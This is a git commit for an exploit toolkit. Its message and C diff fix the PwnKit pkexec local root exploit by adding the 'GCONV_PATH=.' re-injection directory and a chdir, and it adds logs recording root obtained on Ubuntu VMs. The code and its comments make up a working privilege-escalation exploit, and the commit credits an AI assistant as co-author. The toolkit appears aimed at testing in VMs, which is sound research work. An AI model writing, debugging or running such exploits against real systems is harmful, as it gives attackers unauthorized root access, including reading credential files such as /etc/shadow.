pwnkit: fix the gconv re-injection layout so the exploit actually lands root

The exploit reported EXPLOIT_OK but did NOT get root on a genuinely vulnerable
target (Ubuntu 20.04.0, polkit 0.105-26ubuntu1). pkexec printed "Cannot run
program pwnkit" + glibc "Could not open converter from UTF-8 to PWNKIT" and no
root shell was obtained — a false positive from the dispatcher's "execve
transferred → clean exit = OK" path.

Root cause: the module built workdir/pwnkit/{gconv-modules,PWNKIT.so} correctly
but omitted the two pieces that make the GCONV_PATH trick fire:
  1. a directory literally named "GCONV_PATH=." containing an executable
     "pwnkit", so pkexec's g_find_program_in_path() resolves argv[0] and
     RE-INJECTS GCONV_PATH=./pwnkit into the sanitised environment; and
  2. chdir(workdir) so the re-injected relative "./pwnkit" resolves to the
     gconv dir.
It also set an absolute GCONV_PATH=<workdir>/pwnkit directly in envp, which
pkexec strips (GCONV_PATH is on polkit's blacklist) — removed.

VM-verified after the fix on Ubuntu 20.04.0 / 5.4.0-26 (polkit 0.105-26ubuntu1):
unprivileged sk -> uid=0(root), confirmed out-of-band (wrote /root/, read
/etc/shadow). overlayfs (CVE-2021-3493) also confirmed landing root on the same
host; sudo_samedit returns an honest EXPLOIT_FAIL there (heap not landed).

Found via the new qemu exploit-verification sweep (root confirmed out-of-band,
not from the module's self-report).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 19:40:04 -04:00
parent c55adc1840
commit 24b839eccf
2 changed files with 44 additions and 12 deletions
+3
View File
@@ -35,3 +35,6 @@
{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
{"module":"refluxfs","verified_at":"2026-07-23T21:45:28Z","host_kernel":"5.14.0-687.10.1.el9_8.0.1.x86_64","host_distro":"Rocky Linux 9.8 (Blue Onyx)","vm_box":"rocky9-genericcloud/qemu-kvm","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
{"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"}
{"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"}
{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"}
@@ -314,32 +314,61 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
goto fail;
}
/* 4b. The re-injection directory. This is the piece that makes the
* GCONV_PATH trick actually fire, and the classic bug when it's
* omitted (pkexec prints "Cannot run program pwnkit" and glibc
* "Could not open converter ... to PWNKIT", and NO root is obtained).
*
* With argc==0, pkexec reads envp[0] ("pwnkit") as the program path
* and, since it isn't absolute, resolves it via PATH. We set
* PATH=GCONV_PATH=. so pkexec searches a directory literally named
* "GCONV_PATH=." for an executable "pwnkit"; when it finds
* "GCONV_PATH=./pwnkit" it writes that string back over envp[0],
* thereby RE-INJECTING GCONV_PATH=./pwnkit into the (already
* sanitised) environment. pkexec then emits an error whose message
* glibc converts via the PWNKIT charset, dlopen()ing ./pwnkit/PWNKIT.so
* as root. So we need (a) the "GCONV_PATH=." dir + executable "pwnkit",
* and (b) CWD == workdir so "./pwnkit" resolves to sodir. */
char injdir[1024];
snprintf(injdir, sizeof injdir, "%s/GCONV_PATH=.", workdir);
if (mkdir(injdir, 0755) < 0 && errno != EEXIST) {
perror("mkdir GCONV_PATH=."); goto fail;
}
char injexe[2048];
snprintf(injexe, sizeof injexe, "%s/pwnkit", injdir);
/* Content is irrelevant — it never actually runs; the payload fires during
* pkexec's error-message conversion before any exec of this file. It only
* has to exist and be executable so g_find_program_in_path() locates it. */
if (!write_file_str(injexe, "#!/bin/sh\n:\n")) {
fprintf(stderr, "[-] pwnkit: write inject exe failed\n"); goto fail;
}
chmod(injexe, 0755);
if (!ctx->json) {
fprintf(stderr, "[*] pwnkit: payload built; constructing argv=NULL + crafted envp\n");
}
/* 5. Construct the argv-overflow trick. The env vars become argv
* via the bug; pkexec parses the first as argv[0] which it
* then uses to find the binary to re-exec. By naming
* 'GCONV_PATH=.' as argv[0], pkexec ends up in our tmpdir
* with CHARSET=PWNKIT, libc's iconv loads PWNKIT.so as root.
*
* Reference: Qualys' PWNKIT writeup. */
/* 5. Construct the argv-overflow trick (see 4b for the mechanism).
* Reference: Qualys' PWNKIT writeup + Berdav's PoC layout. */
char *new_argv[] = { NULL }; /* argc == 0 — the bug */
char gconv_env[1024];
snprintf(gconv_env, sizeof gconv_env, "GCONV_PATH=%s/pwnkit", workdir);
char *envp[] = {
"pwnkit", /* becomes argv[0] via overflow */
"PATH=GCONV_PATH=.", /* pkexec parses this as PATH */
"pwnkit", /* becomes argv[0]=path via the overflow */
"PATH=GCONV_PATH=.", /* pkexec re-injects GCONV_PATH=./pwnkit */
"CHARSET=PWNKIT",
"SHELL=pwnkit",
gconv_env,
NULL,
};
/* tighten workdir perms so pkexec (root) can traverse */
chmod(workdir, 0755);
chmod(sodir, 0755);
/* CWD must be the workdir so the re-injected GCONV_PATH=./pwnkit resolves
* to workdir/pwnkit/{gconv-modules,PWNKIT.so}. Without this the converter
* is never found and no root is obtained. */
if (chdir(workdir) != 0) {
perror("chdir workdir"); goto fail;
}
if (!ctx->json) {
fprintf(stderr, "[+] pwnkit: execve(%s) with argc=0 — going for root\n", pkexec);
}